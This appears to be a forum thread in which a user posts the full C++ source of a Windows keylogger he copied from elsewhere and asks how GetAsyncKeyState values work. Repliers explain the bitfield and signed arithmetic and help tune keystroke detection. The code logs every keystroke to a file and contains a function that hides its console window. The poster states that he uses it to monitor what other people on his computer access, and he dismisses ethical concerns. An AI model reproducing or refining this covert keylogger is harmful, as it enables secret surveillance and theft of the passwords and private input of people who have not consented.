Quick GetAsyncKeyState Question

Hello all! I'm new here and I gave a quick question about the GetAsyncKeyState function. I ripped someone else's code for a keylogger as I use one on my computer to see what others are accessing, and one of my favorite ways to learn is to try to understand someone else's code for something useful and to try and improve it. Please save me the ethics speech. Now, why is this code written to check if the value of GetAsyncKeyState is - 32767? I thought GetAsyncKeyState returned 1 when the key was pressed? So why wouldn't it check if the value of GetAsyncKeyState is 1? Additionally, why does GetAsyncKeyState(i) print out as -32768 every time if the code must have detected that its value was -32767 to print that line? What is the significance of this seemingly random number? Thanks a bunch guys, lurking here had been great over the last couple months.

1
2
3
4
5
6
7
8
9
while (1)
{
for(i = 8; i <= 191; i++)
{
if (GetAsyncKeyState(i) == -32767) {
cout << GetAsyncKeyState(i) << endl; // only here for debugging purposes
Save (i,"LOG.txt");
}
}


Full code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
// Stealth();
char i;

while (1)
{
for(i = 8; i <= 191; i++)
{
if (GetAsyncKeyState(i) == -32767) {
cout << GetAsyncKeyState(i) << endl;
Save (i,"LOG.txt");
}
}
}
system ("PAUSE");
return 0;
}

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8){
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
// Awating last character truncation method.
}
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
I thought GetAsyncKeyState returned 1 when the key was pressed?


Maybe googling GetAsyncKeyState and reading what it actually does instead of guessing would be appropriate.
http://www.cplusplus.com/forum/windows/6632/

At the time of exectuing this if statement, if the up arrow is being pressed in, it will say so - put this in a loop if you want to constantly read the key state (pressed (1), not pressed (0)).


Straight from this forum...
Last edited on
MSDN should be your primary reference for anything WinAPI related:

http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293%28v=vs.85%29.aspx

As for GetASyncKeyState... it returns a bitfield. Bit 15 is set if the key is currently being held. Check for it like so:

1
2
3
4
if( GetASyncKeyState( your_key ) & 0x8000 )
{
    // your_key is being held
}



EDIT:

As for the -32767... that is what 0x8001 represents as a signed short (the type that GetASyncKeyState returns). So a return value of -32767 is really a return value of 0x8001... which has 2 bits set:

bit 0: indicating the key has transitioned from "not held" to "held"
bit 15: indicating the key is currently "held"

Do not check for -32767 specifically. AND out the bit you want as I illustrate above. If you're interested in realtime key state, then you want bit 15 (0x8000)
Last edited on
Straight from this forum...


Your search-fu needs some work. You should not use this site as a primary source of information. It's great for asking questions, but you should go directly to the source for API information of any sort before coming here to clarify your understanding.

Visiting the first link when you google "GetAsyncKeyState" (which happens to be a link to MSDN) would've told you what you needed to know.
Thank you very much Disch you've helped me put tremendously. However, checking for -32767 seems to work fine for now, but I will investigate checking for 0x8000 in the future.
I am a bit confused as to why you say that
So a return value of -32767 is really a return value of 0x8001
because isn't -32767 equal to -0x7fff not 0x8001?

And to cire, my apologies for my search incompetence.
Last edited on
However, checking for -32767 seems to work fine for now, but I will investigate checking for 0x8000 in the future


Fix it anyway. Checking for -32767 may not always work. Like you might be using your program and all of the sudden it won't work as you expect it to.

There's no investigation required... the change is very simple:

1
2
if (GetAsyncKeyState(i) == -32767) // bad
if (GetAsyncKeyState(i) & 0x8000) // good 
Last edited on
Well the problem is changing that line to what you suggested causes my program to output more than one of the pressed key to the log file, while keeping -32767 only outputs one of the pressed key. Also, I do not understand where the -32767 is coming from. MSDN says that
If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState
while the least significant bit in a short is -32768, and the most significant is 32767 neither of which is the -32767 that is in the program. Additionally, 0x8000 is equal to 32768 which is neither the most or least significant bit again. What am I missing here? :0
Last edited on
Ah, whoops. So you're not interested in the real-time key state, you're interested in the transition. In which case you'd want GetASyncKeyState(i) & 1. IE: you're interested in bit 0, not bit 15. Misunderstanding on my part, sorry.

while the least significant bit in a short is -32768, and the most significant is 32767 neither of which is the -32767 that is in the program.


That's not quite how it works. You are confusing least/most significant bit with lowest/highest value.

Bits are numbered. Bit 0 is the "least significant" bit, and the highest bit number is the "most significant". A 16 bit value has 16 bits... so bit 0 is least significant and bit 15 would be the most significant.

Each bit has a "weight" of 2n where 'n' is the bit number. IE:

bit 0 = 20 = 1 (0x0001)
bit 1 = 21 = 2 (0x0002)
bit 2 = 22 = 4 (0x0004)
bit 3 = 23 = 8 (0x0008)
bit 4 = 24 = 16 (0x0010)
...
bit 15 = 215 = 32768 (0x8000)


If the number is 'signed'... then the most significant bit has a negative weight. So bit 15's weight would actually be -32768 for signed numbers... instead of +32768 as it is for unsigned numbers.

The value a number represents is a sum of the weights of all bits who are set (1) rather than clear (0).

So in binary, a 16-bit signed value of 10000000 00000001 has bit 15 and bit 0 set

therefore you sum the weights of bits 15 + bit 0

bit 15 = -32768
bit 0 = 1

-32768 + 1 = -32767 (the number you're seeing)
Ah, I can't thank you enough Disch, you have put my mind at ease and I have appended my code to reflect your advice. It seems I was a bit flawed in my knowledge. If you would be so kind to answer one last question I would greatly appreciate it. When in this code does the value of key_stroke get translated to the actual letter in the log file? I do not understand how this:

1
2
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);


outputs the letter to the log file if it is supposed to output key_stroke's address.

Also, just as a side note to anyone interested in this code, I have changed the variable i to a int variable instead of a char variable in order to allow it to reach the values of certain vkeys which were over 127 and thus char couldn't read those.
because isn't -32767 equal to -0x7fff not 0x8001?

Just pointing out, I've never seen using SIGNED hexadecimal literals while programming. They're not so common.
Topic archived. No new replies allowed.